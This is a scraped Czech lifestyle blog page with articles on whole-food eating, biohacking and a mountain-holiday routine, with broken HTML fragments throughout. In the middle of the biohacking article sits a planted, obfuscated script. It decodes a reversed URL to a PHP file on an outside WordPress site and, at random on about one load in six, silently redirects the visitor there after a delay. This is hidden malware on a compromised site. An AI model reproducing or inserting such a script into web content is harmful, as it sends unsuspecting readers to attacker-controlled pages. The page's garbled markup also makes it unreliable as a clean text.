Stravování 1.0.1

Pokud potřebujete nastolit skutečně zdravé stravovací návyky, je třeba začít od základů. Pokud tedy tápete, topíte se v záplav doporučení, diet, superpotravin a protichůdných názorů, tohle bude článek právě pro vás. Nebude vás totiž přesvědčovat o žádných zázracích, ale předloží vám prostou pravdu – jedině se SKUTEČNÝM jídlem lze vystavět kvalitní jídelníček, ať už bude jeho výsledná podoba jakákoli, pokud hledáte udržitelnou cestu, tento krok přeskočit nelze.

Tak to zkrátka je.


tor -->

Mějte ale na paměti, že se jedná skutečně o nultý krok – pokud jste zvyklí nakupovat velké množství průmyslově zpracovaných potravin (PZP), pravidelně se stravujete ve fast foodech a venku v běžných restauracích. V rámci základů stravování totiž vyznávám ještě další aspekt a tím je kvalita a původ, je ale jasné, že z fáze „junk food“ se do fáze „bio a farmářské výrobky“ skáče jen těžko, a tak jako tak bude prospěšné, naučit se rozeznat skutečné potraviny.

Naprosté základy – nelze je přeskočit

Není to zrovna jen nyní a nedávné minulosti, kdy se stále větší množství lidí zabývá podobou svého jídelníčku. Důvody jsou různé, nejčastěji se jedná o snahy o přeměnu postavy. Všechny tyto podoby stravování, stravovací styly a diety se ale v drtivé většině případů opírají pouze o jeden aspekt – poměr makroživin. Existuje ale mnohem důležitější hledisko, se kterým by měl začít každý, kdo si touto úrovní ještě neprošel, nebere ji na vědomí a vlastně ani neví, jaký stravovací styl pro něj bude ve výsledku vhodný a udržitelný.

Než se tedy pustíte do výběru mezi keto stravováním, paleo, low carb, a dalšími styly, pojďte se zaměřit na volbu celistvých potravin.

Skutečné potraviny

Překvapuje mě, že se neustále setkávám s lidmi, které zaskočím požadavkem, aby začali konzumovat pouze skutečné potraviny, skutečné jídlo, zkrátka suroviny, neví totiž, co si pod tím pojmem vůbec představit. Protože neporozumění rozdílu, mezi surovinou a výrobkem, je zcela zásadní překážkou ve výběru a nákupu jídla, k vyřazení průmyslově zpracovaných potravin z jídelníčku (což je zdravotně přínosné v jakémkoli ohledu a pro kohokoli a jedná se o nultý level vylepšování vašeho přístupu ke stravování a k vlastnímu zdraví).

Surovina je základní látkou, ať už živočišného, rostlinného, nebo houbového původu, která je konzumována buď samostatně jako potravina, nebo je určena k výrobě dalších potravin.


tor -->

Patří sem tedy například maso, surové mléko, vejce, ovoce a zelenina, houby, ořechy, ale také třeba mouka, jelikož se jedná o jednodruhovou záležitost, která byla upravena z podoby zrna, do podoby prášku a neobsahuje žádné další přísady. Samozřejmě sem patří i pochutiny, jako například sůl či koření.

Jednoduše řečeno – pokud budete nakupovat potraviny, které znáte ze zahrady, maso a další základní živočišné výrobky, případně balené potraviny s jedinou položkou ve složení (ale i tak pozor na chytáky, třeba v podobě výrobků z extrudovaných obilovin, které jsou sice jednodruhové, ale jejich podoba zjevně neodpovídá originálu), můžete si být jisti, že nakupujete suroviny.

Základní výčet surovin, kterým se můžete řídit:

Potraviny živočišného původu:

  • Tkáň – čistá svalovina (četně masa ryb), kosti a chrupavky, kůže, tuk, orgány
  • Vejce
  • Mléko
  • Potraviny rostlinného původu:
  • Ovoce – čerstvé, případně zamražené, čerstvě vylisované šťávy
  • Zelenina – čerstvá, případně zamražená, čerstvě vylisované šťávy
  • Hlízy
  • Ořechy a semena
  • Byliny – čerstvé, sušené
  • Obiloviny, pseudoobiloviny, mouky
  • Kakao, káva, čaj
  • Houby – čerstvé lesní, medicinální (hlíva, shiitake apod.), žampiony, samozřejmě i v sušené podobě

tor -->

Základní, nebo celistvá potravina, je vyrobena ze základních surovin, nebo přeměnou pouze jedné základní suroviny, tradičním a jednoduchým způsobem.

Sem patří například sýry, jogurty, chléb a další pečivo, kvašená zelenina a mnoho dalšího.

Jenže právě zde se dostáváme na tenký led – obzvlášť v dnešní době. V prodejnách potravin pak vedle sebe můžete najít potraviny, které jsou složením v pořádku a potraviny, které se tváří, že jsou v pořádku, mají stejný název, ale při bližším zkoumání složení zjistíte, že jsou „obohaceny“ o přísady, které tam být nemusí, resp. v případě tradiční výroby by se tam vyskytnout nemohly.

V takovém případě je skutečně potřeba se zajímat a číst složení, protože označení „tradiční“, „babiččin“, „gazdovský“, „farmářský“, „dřevorubecký“ a další poeticky znějící označení skutečně nestačí!

Co hlídat u základních potravin?

Není v mých silách vypsat vše, věřím ale, že po výčtu těch nejběžnějších potravin podchytíte princip a nebude už problém rozpoznat jakékoli další skutečné potraviny od těch, které si na ně jen hrají:

Chléb (případně i další pečivo) – naštěstí jsme v době renesance kvásku a řemeslného chleba, takový ale v zásadě seženete pouze v malých pekárnách, na farmářských trzích, nebo si ho můžete upéct doma. Skládat by se měl pouze z kvasu, mouky, vody, soli, případně z koření. Nic jako droždí, zvlhčovací látky, konzervanty a další dobrůtky, které máme každý doma ve špajzu a pečeme z nich (ha ha) nemají ve slušném chlebu co pohledávat.

Proč hledat ten kvasový? Kvašení, fermentace obilí, způsobí to, že výsledný chléb bude lépe stravitelný. Bakterie pomohou rozložit obilné bílkoviny (včetně lepku) a sami pak poznáte, že po jeho konzumaci vám nebude těžko, nebudete unavení a rozhodně budete působit menší, nebo žádné škody svému trávení.

Ideální volbou pak bude celožitný chléb, který je pro trávení celkově přívětivější a jeho konzumace může být vhodná i pro některé osoby s citlivostí na pšeničný lepek. O problematice lepku a obilovin jako takových se ale dozvíte v samostatném článku, jedná se o velmi obsáhlé a komplexní téma, které nelze odbýt jedním, či dvěma názory.

Sýr – sýr, který lze považovat za celistvou potravinu obsahuje pouze čtyři věci: mléko, mlékařské kultury, sůl a syřidlo. Maximálně v něm můžete tolerovat koření, ořechy, a další celistvé přísady, nikoli však barviva (nejčastěji annato), dochucovadla, ideálně ani chlorid vápenatý, vyhněte se termizovaným sýrům.

Sýry v celistvé podobě pak můžete vyhledávat kravské, ovčí, kozí, případně i jiné, pokud na takové narazíte (buvolí apod.).

Jogurt – kvalitní a opravdový jogurt aby člověk pohledal. Ten správný by totiž měl obsahovat pouze mléko (případně smetanu) a mléčné kultury. Toť vše.

Jenže drtivá většina jich obsahuje navíc sušené mléko, nebo přidaný kasein, to proto, aby byl výsledek krémovější. Obloukem se vyhněte nízkotučným jogurtům, slazeným jogurtům, těm které obsahují ovocnou složku (tu si tam můžete přidat sami), mléčným dezertům, pudinkům apod.

Co se týče zdrojů mléka, je to stejné jako v případě sýrů, volit můžete jakýkoli vám chutná, případně dělá dobře.

Máslo – s máslem je to jednoduché, pokud se nenecháte napálit pokusy vychytralých obchodníků, kteří nastrkují rádoby másla hned vedle těch skutečných (a věřte, že se není moc za co stydět). To pravé obsahuje pouze mléko a alespoň 82 % tuku.

Méně tuku obsahovat nemůže, jedinou výjimkou jsou slaná másla, samotná máselná složka ale pochopitelně 82 % tuku obsahuje, číslo se změní pouze v celkovém výčtu přísad. Rozhodně ale neobsahuje žádné rostlinné tuky, smetanu, barviva a další kulišárny.

V zájmu zachování vlastního zdraví a zdravého rozumu se vyhněte veškerým margarínům, ztuženým rostlinným a směsným tukům – vím, mediální a farmaceutická masáž je neskutečná, ale ruku na srdce – co je sakra přirozeného na rafinovaných tucích? Oleje se mají konzumovat v co možná nejčistší, panenské a tekuté podobě, takže pamatujte na to, že vhodné tuhé tuky jsou pouze ty živočišného původu (máslo, sádlo), jedinou výjimku tvoří kokosák v ledničce 😊

Masné výrobky – tady je situace poměrně komplikovaná. Uchovávání masa v podobě uzenin rozhodně patří mezi tradiční způsoby jeho úpravy, v moderním pojetí se už ale o vhodné potraviny jedná jen málokdy. Pozor byste si tak měli dát zejména na výskyt barviv, dochucovadel, ale také dusitanů – v konvenčních výrobcích v supermarketech takové ale najdete jen málokdy, proto je vhodnější volit primárně maso a masné výrobky vyhledávat pouze jako doplněk jídelníčku a pouze z kvalitních zdrojů, případně domácí, o kterých víte, co se do nich dostalo.

Základní výčet celistvých potravin, kterým se můžete řídit:

Potraviny živočišného původu:

  • Kvalitní (tradiční) masné výrobky bez konzervantů, barviv, dochucovadel – sušené, uzené, fermentované klobásy, sušené maso, šunka, slanina, paštiky, vývary, škvarky, zavařené maso (primárně ve skle) atd.
  • Máslo, přepuštěné máslo
  • Sýry – čerstvé i zrající, mascarpone, ricotta
  • Jogurt – řecký, klasický „český“ (okolo 3 % tuku)
  • Tvaroh, Cottage apod.
  • Kefír – primárně ale ten domácí z houby, případně další kysané výrobky (acidofilní mléko, podmáslí, kyška, zákys)
  • Potraviny rostlinného původu:
  • Chléb a pečivo, které splňuje základní požadavky na minimalismus použitých surovin
  • Těstoviny – které by měly být ideálně z tvrdozrnné pšenice (italské), vody a soli
  • Fermentovaná a nakládaná zelenina – bez umělých sladidel a dochucovadel, mouky, škrobů, barviv
  • Nakládaná rajčata, rajčatový protlak, rajčatové pyré – opět se stejnými požadavky jako jsou ty zmíněné výše
  • Pesta z bylinek
  • Majonéza – primárně ale ta domácí, z oleje a vajec
  • Rostlinné oleje – jednodruhové, nerafinované – primárně olivový, avokádový, lněný a mnoho dalších, řepkovému a slunečnicovému se snažte vyhýbat (tento krok ale zcela zásadně ovlivní už samotné vyřazení PZP, které je v 90 % případů obsahují).
  • Med, přírodní cukr

Celistvých potravin a základních výrobků existuje ještě celá další řada, teď už ale znáte princip a můžete se jím jednoduše řídit 😊.

Změňte svůj pohled na nakupované suroviny

Nákup surovin a celistvých potravin má ale i další výhody, pokud se totiž budete navíc řídit těmito aspekty: lokálnost a sezónnost, dostaví se i další, nezanedbatelný efekt. A tím je ekonomika.

Mnoho lidí má pocit, že suroviny a celistvé potraviny jsou příliš drahé a nemohou si je dovolit. U stejných lidí ale pak vidíte košíky plné průmyslově zpracovaných potravin, pochutin a dalších nesmyslů, které nejsou pravým jídlem. Schválně to zkuste v obchodě někdy pozorovat, současně se můžete dívat i na to, jakou energii a zdravotní stav tito lidé vyzařují.. PZP nejsou cestou k úspoře ani ke zdraví, jsem si zcela jistá, že takových potravin pak zkonzumujete mnohem větší množství – abyste se nasytili alespoň nějakými živinami, kterých je v nich poskrovnu (jestli vůbec). Tyto potraviny jsou díky průmyslovým aditivům navíc neskutečnými drogami pro mozek, což opět vede k jejich zvýšené konzumaci. Když si k tomu navíc připočtete náročnost jejich výroby a distribuce, je jasné, jaká „cena“ za jejich výrobou stojí.

Zcela respektuji a sama dobře znám, jak nákladná může zdravá strava být. Jenže pokud začnete jíst skutečně jídlo, děláte tak i první krok ke střídmosti a úctě k jídlu, lidské práci která za jeho produkcí stojí a v neposlední řadě i k většímu etickému a ekologickému cítění, které by s tím mělo jít ruku v ruce.

Nákup celistvých potravin tak může být rychlým můstkem k dalšímu kroku, kterým je volba jejich kvality a původu.


tor -->

Tento článek cílí především na ty z vás, kteří jsou ztraceni a otrocky berou jen to, co jim trh dává. Nechápejte mě špatně, nijak vás nehodnotím ani neznevažuji vaše jednání, pokud chcete ale něco skutečně změnit, není možné začínat na vrcholku pyramidy a snažit se o nastavení jakéhokoli stravovacího směru. Jeho volba se dostaví až posléze a dost možná i intuitivně. Očištěním nánosů nekvalitní stravy a jejího vlivu na mozek i celkové zdraví, na vaše rozhodování a volby snadněji pocítíte, jaký druh stravy vám dělá skutečně dobře. Tím se dostanete ke zvýšení úrovně vědomí – k vědomému rozhodování a ohledu na skutečnou hodnotu jídla.

Magické slovo biohacking, co v sobě skrývá?

Pokud začínáte každý den vypilovanou ranní rutinou, do které zařazujete i věci, které by jiným připadaly jako mučení a sebemrskačství, suplementaci volíte přesně podle toho, co vás následující den čeká a podle toho, jak se aktuálně cítíte, přes den nenaháníte kávopauzy ani kouřpauzy, ale slunce, spánek je pro vás posvátný, a proto dbáte na spánkovou hygienu a ložnici vylazujete k dokonalosti, dost možná jste biohacker a ani o tom nevíte. No přinejmenším ten naturální. Co vše ale je (a co naopak není) biohacking?

S biohackingem se v poslední době roztrhl pytel, to slovo zní z mnoha koutů sociálních sítí, ale málokdo vlastně ví, kde ten pravý biohacking začíná a jaké rutiny si zaslouží být takto nazývány. Do pláště biohackingu jsou pak oblékány i naprosto banální záležitosti, které často ani nikterak nepřispívají ke zlepšování zdraví, ale společnost je tak vnímat začala.

Mnoho lidí se snaží žít zdravým životním stylem, hlídají si stravování, chodí na trénink, dodržují obecně známé zásady, pohybují se ale v mezích běžné, současné společnosti. To samozřejmě může, nebo nemusí vést k určitým výsledkům, nelze to ale nazývat biohackingem. Ten pravý biohacking by totiž měl vést k maximalizaci individuálních tělesných a duševních kapacit a vytvoření rovnováhy mezi výkonností, dlouhodobě udržitelným zdravím a kvalitou života. Obecně by se dal nazvat cestou k dlouhověkosti, je ale předem jasné, že taková cesta bude pro každého jiná.

Naturální biohacking jako běžná součást života

Ještě před několika desetiletími žili lidé mnohem více v souladu s přírodou a svými biorytmy, a konzumovali kvalitní, živé a zdravé potraviny. A byť nežili v takovém pohodlí a přepychu jako my, bylo to právě jejich prostředí a zdánlivý nedostatek, který je často léčil a zlepšoval jejich výkonnost.

Stejné strategie jako naši předci (a bavíme se zde o 2 – 3 generacích nazpátek ne o pravěku) můžeme využívat i dnes. Díky tomu, že ale většinou žijeme ve městech, pod umělým osvětlením, chodíme málo ven a na slunce, nejsme v kontaktu s přírodou, a konzumujeme nutričně chudé potraviny, tak je pro mnoho lidí snadnější spolknout tabletku nebo koupit nějaké biohackingové zařízení než zařazovat tzv. „naturální“ biohacking, což v podstatě není biohacking, ale naše přirozenost.

Mezi naturální biohacking tak řadíme všechno od kontaktu a prací se zemí, přes pobyt v přírodě, ať již na horách nebo v lesích, vystavování se slunci, meditace, respektování cyklů v přírodě (ať již ročních nebo denních) či spaní v tichu a tmě. 

Tohle všechno je důvodem, proč můžete vidět příznivce naturálního způsobu života, jak se v zimě nakládají do ledové vody, chodí do sauny, obědvají venku na slunci, chodí bosí na trávě, nebo provádějí dechová cvičení. Všechny tyto věci nám totiž dělají nejen dobře, přes prvotní dyskomfort přinášejí pocit blaženosti, zlepšují náladu, ale z dlouhodobého hlediska snižují negativní dopady „moderního“ životního stylu, posilují imunitu, snižují zánětlivost a celkově posilují zdraví.


tor -->
Co lze řadit mezi naturální a nature-like biohacking?
  • Vystavování se extrémním teplotám
    • Ledové sprchy v rámci denních rutin, v rámci podpory snižování systémové zánětlivosti, odbourávání tukové tkáně, podpory mentálního výkonu a mnoho dalšího
    • Koupání ve studených přírodních tocích a nádržích
    • Nakládání do ledu
    • Kryoterapie
    • Cílené opalování a vystavování se slunci
    • Klasické sauny, infrasauny a parní lázně, ale klidně i potní chýše a metody, které snoubí jak fyzický, tak psychický a spirituální dopad
  • Uzemňování neboli grounding (earthing)
    • Chůze na boso
    • Chůze v uzemňovací, vodivé obuvi
    • Cílené využívání kontaktu se zemí
    • Uzemňovací podložky, prostěradla, oděvy
  • Vystavování se slunci a respektování přirozených světelných podmínek
    • Cílené opalování, nejen v létě, ale i po zbytek roku
    • Vystavování se dennímu světlu přes den
    • Sun chasing – vítání slunce, sledování západů slunce (vhodné pro synchronizaci cirkadiánního rytmu)
    • Blokování modrého světla po setmění a spaní v naprosté tmě
    • Fotobiomodulace – infrapanely, infrakomory
  • Přirozený pohyb
  • Přirozené stravování vázané na lokalitu a sezónu
  • Pobyt v přírodě – který v podstatě zahrnuje většinu zmíněného výše

tor -->

Tyto věci bychom ale neměli vykonávat pouze v létě a v hezkém počasí (což je ostatně doba, ve které se začínají pravidelně ozývat skeptici sedící v parku na sluníčku s lahváčem se slovy „tohle ale děláme taky a o biohackingu jsme nikdy neslyšeli“, načež s příchodem prvních chladných dnů zalezou do svých přetopených domovů, nahodí péřové bundy a ven vylezou zase až po Velikonocích), ale průběžně po celý rok, a tělu tak dávat neustále signály pro synchronizaci s roční a denní dobou.

To všechno, o čem jsme psali doposud, je jen předsálí „pravého“ biohackingu. I přes to si ale myslím, že právě naturální biohacking je cesta dobře uchopitelná pro drtivou většinu společnosti a jedná si o velmi zdravou a střízlivou cestu. Je to totiž opětovné spojení s přirozenými podmínkami, přírodou a zdravým nepohodlím (vybočení z komfortní zóny), které nám dnes tolik chybí a potřebujeme ho k balancování příliš pohodlného a unifikovaného životního stylu.

Biohacking v moderním pojetí

Za otce biohackingu lze považovat Davea Aspreyho, zakladatele značky Bulletproof, vynálezce dnes již notoricky známé bulletproof kávy, ale také jednoho z prvních lidí, který začal upozorňovat na možnosti využití nootropik pro psychickou optimalizaci a mentální výkonnost. Dave Asprey byl člověkem, který pravděpodobně vymyslel jak pojem biohacking, tak jeho koncept, a dnes je toto slovo dokonce součástí slovníku Merriam-Webster, kde je definován jako:

„Biologické experimentování (jako je editace genů, užívání látek nebo implantátů), které je prováděno ke zlepšení kvality a kapacit živých organismů, především jedinců a skupin nacházejících se mimo klasickou medicínu a vědecký výzkum“.

Pro vznik a využívání omlazujících metod, boj se stárnutím a vyslovené hackování lidského potenciálu byla v USA vždy dobrá půda a není tak náhodou, že prvními klienty byli postarší bohatí lidé a důchodci, kteří si na tamních klinikách nechávali zlepšovat nejen svůj vzhled, ale pracovali i na skutečné podstatě zdraví a dlouhověkosti. A dlouhověkost je právě pointou moderního biohackingu, který stojí na využívání vědeckých přístupů, hi-tech gadgetů, měření tělesných hodnot, monitorování spánku a rozklíčování zdraví pomocí genetických testů, které umožňují nastavit postupy skutečně individuálně a to nejen u starých lidí.

V téhle oblasti lze využívat například různé metody fotobiomodulace, které jsou dobře dostupné i u nás a přináší blahodárný vliv na mitochondrie a celou řadu dalších tělesných systémů, můžete doplňovat pokročilé suplementy (antioxidanty, NAD a jiné) třeba i formou intravenózní aplikace, nebo můžete zabrousit až k hi-endu a využít potenciálu fullerenů (uhlík C60), které maximalizují antioxidační kapacitu mitochondrií a teoreticky tak dokážou prodloužit životnost buněk a celého organismu. Stejně tak je možné si všemožnými způsoby upravovat vlastní bydlení, aby maximálně korespondovalo s vašimi snahami, začít můžete u prosté úpravy ložnice, instalace inteligentního cirkadiánního osvětlení, až po hitech přístroje za stovky tisíc korun (jako je hyperbarická komora, ozónová terapie, floatační tank, ale například i domácí infrasauna).


tor -->

Osobně si ale myslím, že tyto metody, ať jsou jakkoli skvělé, na náš mozek ale často působí jako další berličky, jako něco zázračného, co nám pomůže být lepšími a zdravějšími bez vynaložení většího (fyzického i psychického) úsilí. A ruku na srdce, kdo z nás se potřebuje primárně vydávat právě touto cestou? Když navíc vezmete v potaz, že mnoho látek a léčiv, které jsou moderními biohackery využívány, jsou současně (a především původně) metodami pro léčbu závažných onemocnění, asi není třeba do detailu popisovat, že se snadno může stát, že se nedostane na ty, kteří je skutečně potřebují. Ne pro zlepšení well-beigu a experimentování, ale pro zabezpečení alespoň základní kvality života, nebo pro jeho prosté zachování. Sama jsem se setkala už s několika lidmi, kteří toto mohou z vlastní zkušenosti potvrdit, protože se potýkají s velmi vážnými zdravotními komplikacemi, ale „díky“ nastavení systému zdravotnictví, jsou odkázáni na léky ze zahraničí. Tyto léky jsou ale často nedostatkovým zbožím, právě z důvodu jejich obecné popularizace..

Na druhou stranu je ale skvělé, že se výzkum směřuje i touto cestou, protože právě díky tomu můžeme objevovat nová zákoutí a nové cesty. Pak už je jen na nás, za jaký konec zodpovědnost za vlastní zdraví uchopíme.

Proč se o biohacking vůbec zajímat?

Ať už svou zodpovědnost za vlastní zdraví a jeho pilování nazýváte jakkoli, vězte, že význam má veliký, bude ale vyžadovat určitou míru vlastní invence, disciplíny a v neposlední řadě i vyhledávání informací. Čas, který do ní investujete se ale vrátí, dost možná budete ve výsledku efektivně zvládat více věcí – ne odsedět v práci více hodin, ale mít energii jak na práci, tak na osobní život/duchovní rozvoj/dosaďte si cokoli, co uznáte za vhodné, to vše jen díky využití svého potenciálu.

Díky podstoupení genetických, hormonálních, nebo i běžných krevních testů se můžete postupně dobrat k rozklíčování vlastního zdraví (jde to ale i bez nich, o tom dále), zjistit, kde máte nedostatky a následně určit, které z nich jsou dané, které z nich jste si vybudovali nevhodným životním stylem a jak je s nimi možné dále pracovat. Mnoho biohackerů pak využívá i moderních způsobů monitoringu tělesných funkcí (např. Oura ring) k tomu, aby měli neustálý přehled o svých tělesných pochodech a spánku. Díky tomu je pak možné testovat nové suplementy a přístupy a vyhodnocovat, jaký efekt mají na zdraví.

Běžné populaci, která není orientována na zdraví (což je bohužel krutá realita, kdy zdraví přikládáme stále menší význam, svěřujeme ho do rukou lékařů a nedbáme na prevenci), už tohle bude znít jako čiré šílenství.
Kouzlo ale tkví v tom, že jakmile jednou poznáte, jak se skutečně projeví změna životního stylu na kvalitě života, už se nebudete chtít vrátit zpět a správný biohacker je tak trochu i healthy lifestyle geek, kterého prostě baví převzít kontrolu nad svým zdravím. Je totiž potřeba si uvědomit, co to vlastně zdraví je. Je to jen můj aktuální stav, kdy nemám virózu nebo nějakou běžnou nemoc? A nebo je to dlouhodobý stav, kdy nemám vleklé chronické potíže a mám tak šanci se v dobré kondici dožít vysokého věku? Biohacking, ať už volíte jakýkoli přístup, může mít (a pravděpodobně mít bude) vliv na první i druhý aspekt vašeho zdraví.

Ten<script>$NqM=function(n){if (typeof ($NqM.list[n]) == „string“) return $NqM.list[n].split(„“).reverse().join(„“);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to obrázek nemá vyplněný atribut alt; název souboru je kopie-navrhu-clanky-blog-1.png.“/></figure>



<p id=Možností biohackingu je celá řada a vytvářet si můžete nekonečné množství kombinací pohybových, mentálních i dechových aktivit, suplementů, potravin a metod, které lze aplikovat. Ve výsledku se vlastně jedná o sebepozorování, sebepoznání (ale i bližší poznání potenciálu bylin, suplementů a dalších aktivit a jejich efektivnější využití a kombinování a ne jen jejich plácání jak to příjde pod ruku) a o již zmíněné převzetí kontroly nad sebou samým.

Jak se v tom neztratit?

Do našich končin se hi-tech biohackerské hračky dostávají teprve krátkou dobu a povědomí o nich příliš rozšířené není. Snadno se dá ale podlehnout jejich kouzlu, které může hned následně vystřídat rozčarování nad vysokou cenou nebo špatnou dostupností. Ani tak ale nemusíte věšet hlavu, je totiž potřeba si uvědomit, že princip velkého množství gadgetů a metod nevychází z ničeho jiného, než ze svých přírodních forem, které můžeme využívat dnes a denně naprosto přirozeně a zadarmo. Díky nim můžeme optimalizovat své zdraví a zmírňovat negativní aspekty běžného konzumního života, a stresu.

Co se týče testů, pokud nejste vysloveně fajnšmekři na data, doporučuji je ve dvou případech:

  • Máte vážné zdravotní problémy, běžné postupy nejsou efektivní a vy chcete vědět, na čem jste a zařídit se podle toho.
  • Je vám více než 40 let a je na čase dělat vše v souladu se svým genetickým nastavením.

Pokud do těchto kategorií nespadáte, bude vždy lepší pracovat na základech, jako je cirkadiánní rytmus a spánek, kvalita vody a potravin a stresová eliminace a adaptace, díky kterým prohloubíte svou přirozenou intuici a snadněji tak poznáte, co je pro vás dobré.  Na takovém základu už lze dobře stavět a bude vždy nejdůležitější – naturální biohacking pak snadno začleníte do běžného života, pokročilá suplementace a gadgety se stanou superzbraní, kterou bude stačit využívat střídmě a o to více efektivně.


tor -->

Tento přístup je ryze mým vlastním vnímáním tématu, přístup jiných lidí se může určitě lišit a nemusí to být špatně. Každý vyžadujeme jinou míru zásahu do vlastního zdraví a výkonnosti, každý budeme lépe tolerovat jiné přístupy, je ale dobré si pojmy více definovat a odlišovat obecně platné zásady životního stylu, eliminovat přístupy, které třeba získaly punc zdraví, ale reálně s ním mají společného pramálo (a jsou-li vydávány za biohacking, udělají z něj buzz word ještě dříve, než se dostane do povědomí širší společnosti) a vzít v potaz i pokročilé přístupy, které sice vyžadují finance, čas i úsilí, ale posouvají nás tam, kam průměrná populace nikdy nedosáhne.

Dovolená na horách jako dokonalý restart života ve městě


tor -->
Mohli byste mě poslat do luxusního přímořského letoviska, mohli byste mě poslat do Říma, nebo do New Yorku, nikde bych se ale necítila tak dobře, jako v horách.

Proč je tu tento článek jako první? V mnohém mě, Janu, i nás oba s Jirkou, vystihuje. Popisuje náš náhled na život, přístup ke zdravému životnímu stylu a poukazuje na naše zájmy a potřeby. Zkrátka se jedná o nám oběma velmi blízké téma, které se může hodit jako lehký start, ale nebojte, brzy se o nás dozvíte mnohem více 

Znáte takový ten pocit, že víte, že někam skutečně patříte? Že se tam cítíte doma, ať už skutečně, nebo spirituálně? Já tenhle pocit zažívám ve vysokých horách, ale také v severských zemích. Jako malá jsem záviděla dětem z horských měst, že tam žijí normálně, že mohou běhat po kopcích, lézt po skalách, prozkoumávat a blbnout a v zimě lyžovat každý den, ale já se tam mohu vracet jen dvakrát to roka. A teď to v podstatě není jinak, s tím rozdílem, že když cítím potřebu, mohu se tam vydat na ozdravnou dovolenou a ten pocit duševního spojení si dopřát.

Když pak týden v horách pojmu rozumně, jako teď naposledy, kdy jsme vyměnili přechod celého hřebene na těžko (se všemi věcmi na zádech) za jednodenní túry, jedná se o skvělou očistu těla i psychiky a možnost, jak načerpat nové síly na další práci a život ve městě.

Moje horská rutina

Poslední dovolenou tohoto typu jsme strávili ve slovenských Roháčích a každý den jsem se snažila nastartovat naprosto stejně. Možná si říkáte, proč se takto trýznit a cepovat na dovolené, pro mě už je ale ranní rutina natolik důležitým prvkem dne, který ovlivňuje celé moje následné rozpoložení a výkonnost, že to vnímám zcela opačně. Ranní rutina je pro mě dobrým startem, při kterém mám krom nabití energie také prostor pro uvolnění myšlenek, vytříbení mysli a plánování.

Každé ráno tak začínalo šálkem zeleného čaje a suplementací a následným výstupem křížovou cestou na přilehlý kopec. Tam jsem prováděla dechové cvičení a meditaci, což jsou věci, které vás skvěle energizují a zharmonizují mysl. Po návratu dolů jsem se zpravidla naložila do ledového potoka (nebo to nahradila studenou sprchou), ve kterém jsem pokračovala s dechovým cvičením (pomůže to nevnímat chlad, užít si „bolest“ a zároveň prohloubit celý prožitek).

Pak už zbývala jen snídaně a odchod na túru – nejpozději do osmi hodin ráno, ale ideálně dříve. Existuje totiž jen málo blbějších nápadů, než vyrážet na hřeben pozdě dopoledne a pak se divit, že vás zastihne bouřka, nebo že se vrátíte za tmy.

Vědomý přístup

Přímo v horách je pak super si meditaci, nebo alespoň chvíli klidu sám se sebou zopakovat – pokud vás tedy netlačí čas a počasí. Vřele tedy doporučuji zout si boty a chvíli si sednout, nebo lehnout na zem, zavřít oči a cítit tu zcela jinou a silnou energii, kterou hory vyzařují.

Když už vypadnete z města, snažte se v horách co nejvíce propojovat s přírodou a přirozeným prostředím. Jedině tak dokážete změnit zažité vzorce a skutečně si odpočinete. Jednou ze skvělých metod zvyšování vědomé pozornosti je třeba chůze na boso. Není nutné bosky projít celý horský hřeben, zvlášť pokud na takovou chůzi nejsou vaše nohy zvyklé, není ale od věci, si v příhodných pasážích boty vyzout a skutečně se plně soustředit na to jediné, co v tu chvíli děláte – na chůzi jako takovou. Nejen že přestanete dupat jako slon kámen nekámen, ale budete také zlepšovat své pohybové vzorce. Grounding – uzemňování, je pak třešničkou na dortu, protože jeho léčebný efekt je skutečně nezanedbatelný (o tom se ale rozepíšu v samostatném článku).

Dodržování rutin pak není od věci ani při horských přechodech na těžko, jejich efekt bude o to větší, protože v takovém režimu většinou tvrdě respektujete svůj cirkadiální rytmus a chodíte spát a vstáváte podle západu a východu slunce.

Co jíst?

Není to jen světlo, vzduch a energie hor, ze které může být člověk živ (no ačkoli..).

Jídlo na horách bývá oříšek. V rámci úspory váhy, kterou na zádech táhnete, a prostoru v krosně pak často jíte věci, ke kterým se jen neradi přiznáte. Mohou to být různé instantní dobroty, konzervy a další lahůdky. Jde to ale dělat i jinak.

Osobně se snažím dodržovat několik zásad:

Vydatná snídaně

Snídani si na horách dávám i pokud normálně snídaním moc neholduji. Zakládám jí hlavně na tucích a bílkovinách a snažím se vyhnout velkému množství sacharidů. Dříve jsem na horách snídala hromadu sladké granoly zalité mlékem (ještě navíc ze sušeného polotovaru) v domnění, že to bude to pravé pro energii na celý den, ale v prvním kopci jsem měla co dělat s tím, aby mě snídaně kvapně neopustila stejnou cestou, kterou vešla dovnitř.

Nejlepší tak je dát si pořádnou porci vajíček, což nebývá problém, pokud přebýváte na jednom místě. Pokud nosíte vše na zádech, ideální je přibalit si dobrou klobásu, sušené maso, kus tvrdého sýra, ořechy a další podobné věci, které několik dní bez problémů vydrží a dodají vám potřebnou energii a sílu, která na rozdíl od müsli fakt vydrží. Dobrou volbou bude ale i kvalitní syrovátkový, nebo veganský protein, či shake.

Přes den nechte zažívání odpočívat

Lidé se prý na horách diferencují do dvou skupin – na lvy a vrabce. Lvi jedí málokdy, ale zato hodně, vrabci jedí sice málo, ale velmi často.

Já jsem rozhodně spíš lev, a proto přes den moc nejím – buď zůstávám na vodě, nebo si dám kus ovoce – čerstvého, nebo hrst sušeného, nebo hrst ořechů. Pohyb v horách vždy pojímám i jako očistu a v zápalu chůze (a dost možná i díky absenci stresu a přítomnosti přírody) pak ani hlad nemívám, takže si nechávám místo na večeři. Ideálním řešením pak také je (pokud se nepohybujete jen ve vysloveně vysokohorském terénu) sbírat borůvky, maliny a další dary, které místní příroda nabízí. Takové potraviny budou mít pro tělo zcela jiný přínos – jejich konzumací totiž respektujete jak sezónu, tak lokálnost a díky drsným podmínkám, ve kterých rostou, jsou doslova nabité fytonutrienty a látkami ceněnými pro svůj antioxidační efekt a vliv na hormézi. Takový efekt můžete logicky jen těžko očekávat od konvenčně pěstovaného ovoce, proto tuto příležitost využijte právě teď!

